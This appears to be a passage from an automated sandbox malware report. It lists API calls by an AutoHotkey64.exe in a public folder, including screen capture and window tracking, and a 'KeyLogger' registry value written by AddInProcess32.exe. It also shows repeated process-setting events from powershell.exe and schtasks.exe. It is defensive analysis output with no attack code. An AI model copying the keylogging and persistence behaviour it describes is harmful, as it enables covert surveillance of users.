                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140062000 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,GetSystemMetrics,GetSystemMetrics,wcsncpy,GetDC,DestroyIcon,DeleteObject,GetIconInfo,CreateCompatibleDC,DeleteObject,DeleteObject,CreateCompatibleDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,CreateCompatibleDC,free,ReleaseDC,DeleteObject,SelectObject,DeleteDC,DeleteObject,free,free,free,free,19_2_0000000140062000
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009DFF6 GetDC,SelectObject,GetTextMetricsW,MulDiv,GetSystemMetrics,IsWindowVisible,IsIconic,GetPropW,MapWindowPoints,GetWindowLongW,SendMessageW,19_2_000000014009DFF6
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A404A ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,IsWindowVisible,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetForegroundWindow,DefDlgProcW,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,19_2_00000001400A404A
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A00B0 GetWindowLongW,GetWindowLongW,SetWindowPos,EnableWindow,GetWindowRect,GetClientRect,MulDiv,MulDiv,GetWindowRect,GetClientRect,MulDiv,MulDiv,_wcstoi64,IsWindow,SetParent,SetWindowLongPtrW,SetParent,IsWindowVisible,IsIconic,SetWindowLongW,SetWindowLongW,SetWindowPos,InvalidateRect,19_2_00000001400A00B0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A40A8 ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,IsWindowVisible,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetForegroundWindow,DefDlgProcW,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,19_2_00000001400A40A8
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A40D9 MulDiv,MulDiv,ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,IsWindowVisible,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetForegroundWindow,DefDlgProcW,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,19_2_00000001400A40D9
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009C110 realloc,SendMessageW,MulDiv,MulDiv,realloc,realloc,free,free,realloc,realloc,free,free,realloc,realloc,free,free,realloc,realloc,free,free,realloc,realloc,free,free,realloc,realloc,free,free,COMRefPtr,MulDiv,GetDC,SelectObject,GetTextMetricsW,MulDiv,GetDC,SelectObject,GetTextMetricsW,GetSystemMetrics,GetDC,SelectObject,GetTextMetricsW,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,DrawTextW,DrawTextW,GetCharABCWidthsW,MulDiv,GetSystemMetrics,GetSystemMetrics,MulDiv,GetDC,SelectObject,GetTextMetricsW,MulDiv,GetSystemMetrics,IsWindowVisible,IsIconic,GetPropW,MapWindowPoints,GetWindowLongW,SendMessageW,SelectObject,ReleaseDC,SendMessageW,SendMessageW,GetClientRect,SetWindowLongW,SendMessageW,SetWindowLongW,MoveWindow,GetWindowRect,SendMessageW,GetWindowRect,MapWindowPoints,InvalidateRect,SetWindowPos,SetWindowPos,MapWindowPoints,19_2_000000014009C110
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400642E0 SendMessageW,IsWindowVisible,ShowWindow,IsIconic,ShowWindow,GetForegroundWindow,SetForegroundWindow,SendMessageW,19_2_00000001400642E0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400AA460 SendMessageW,GetWindowLongW,IsWindowVisible,IsIconic,GetFocus,GetWindowRect,GetPropW,ShowWindow,GetUpdateRect,SendMessageW,GetWindowLongW,ShowWindow,EnableWindow,GetWindowRect,PtInRect,PtInRect,SetFocus,SendMessageW,ShowWindow,SetFocus,InvalidateRect,MapWindowPoints,InvalidateRect,19_2_00000001400AA460
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BE5F0 GetForegroundWindow,IsWindowVisible,IsIconic,ShowWindow,19_2_00000001400BE5F0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BE7C0 GetWindowThreadProcessId,GetForegroundWindow,IsIconic,ShowWindow,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,BringWindowToTop,19_2_00000001400BE7C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400AE9D0 CheckMenuItem,CheckMenuItem,GetCursorPos,GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,GetForegroundWindow,GetWindowThreadProcessId,SetForegroundWindow,SetForegroundWindow,TrackPopupMenuEx,PostMessageW,GetForegroundWindow,SetForegroundWindow,19_2_00000001400AE9D0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BAA30 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,19_2_00000001400BAA30
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140060A80 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,CreateCompatibleDC,_swprintf,free,ReleaseDC,SelectObject,DeleteDC,DeleteObject,free,free,GetPixel,ReleaseDC,free,free,19_2_0000000140060A80
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140076B80 GetTickCount,GetForegroundWindow,GetTickCount,GetWindowThreadProcessId,GetGUIThreadInfo,ClientToScreen,GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,_itow,19_2_0000000140076B80
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140087330 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,CreateDCW,GetDC,GetPixel,DeleteDC,ReleaseDC,_swprintf,free,free,19_2_0000000140087330
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005D972 IsZoomed,IsIconic,19_2_000000014005D972
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A3E60 SetWindowTextW,IsZoomed,IsIconic,ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,IsWindowVisible,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,GetWindowLongW,GetWindowRect,GetClientRect,SystemParametersInfoW,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetForegroundWindow,DefDlgProcW,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,SetFocus,19_2_00000001400A3E60
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A3E60 SetWindowTextW,IsZoomed,IsIconic,ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,IsWindowVisible,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,GetWindowLongW,GetWindowRect,GetClientRect,SystemParametersInfoW,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetForegroundWindow,DefDlgProcW,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,SetFocus,19_2_00000001400A3E60
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009DF4D GetDC,SelectObject,GetTextMetricsW,MulDiv,GetSystemMetrics,IsWindowVisible,IsIconic,GetPropW,MapWindowPoints,GetWindowLongW,SendMessageW,19_2_000000014009DF4D
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140051F50 IsWindow,DestroyWindow,GetCursorPos,GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,MonitorFromPoint,GetMonitorInfoW,IsWindow,CreateWindowExW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetWindowRect,SendMessageW,SendMessageW,19_2_0000000140051F50
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009DF5D MulDiv,GetDC,SelectObject,GetTextMetricsW,MulDiv,GetSystemMetrics,IsWindowVisible,IsIconic,GetPropW,MapWindowPoints,GetWindowLongW,SendMessageW,19_2_000000014009DF5D
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009DF55 GetDC,SelectObject,GetTextMetricsW,MulDiv,GetSystemMetrics,IsWindowVisible,IsIconic,GetPropW,MapWindowPoints,GetWindowLongW,SendMessageW,19_2_000000014009DF55
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009DF6B MulDiv,GetDC,SelectObject,GetTextMetricsW,MulDiv,GetSystemMetrics,IsWindowVisible,IsIconic,GetPropW,MapWindowPoints,GetWindowLongW,SendMessageW,19_2_000000014009DF6B
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A3F8F ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,IsWindowVisible,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetForegroundWindow,DefDlgProcW,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,19_2_00000001400A3F8F
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140065F90 GetCursorPos,GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,WindowFromPoint,EnumChildWindows,GetClassNameW,EnumChildWindows,free,19_2_0000000140065F90
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A3F85 ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,IsWindowVisible,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetForegroundWindow,DefDlgProcW,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,19_2_00000001400A3F85
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009DFAF MulDiv,GetDC,SelectObject,GetTextMetricsW,MulDiv,GetSystemMetrics,IsWindowVisible,IsIconic,GetPropW,MapWindowPoints,GetWindowLongW,SendMessageW,19_2_000000014009DFAF
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A3FBA ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,IsWindowVisible,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetForegroundWindow,DefDlgProcW,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,19_2_00000001400A3FBA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeKey value created or modified: HKEY_CURRENT_USER\SOFTWARE\AppID KeyLoggerJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
